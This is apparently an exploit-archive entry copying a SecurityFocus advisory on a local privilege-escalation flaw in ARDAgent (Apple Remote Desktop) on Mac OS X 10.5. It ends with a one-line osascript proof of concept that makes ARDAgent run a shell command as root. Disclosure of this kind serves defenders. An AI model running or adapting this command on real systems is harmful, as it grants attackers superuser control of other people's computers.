Apple Mac OSX 10.x - Applescript ARDAgent Shell Privilege Escalation

source: https://www.securityfocus.com/bid/29831/info

Mac OS X is prone to a local privilege-escalation vulnerability affecting ARDAgent (Apple Remote Desktop).

Successful exploits allow local attackers to execute arbitrary code with superuser privileges, completely compromising the affected computer.

This issue is confirmed to affect Mac OS X 10.5 versions; earlier versions may also be vulnerable.

osascript -e 'tell app "ARDAgent" to do shell script "whoami"';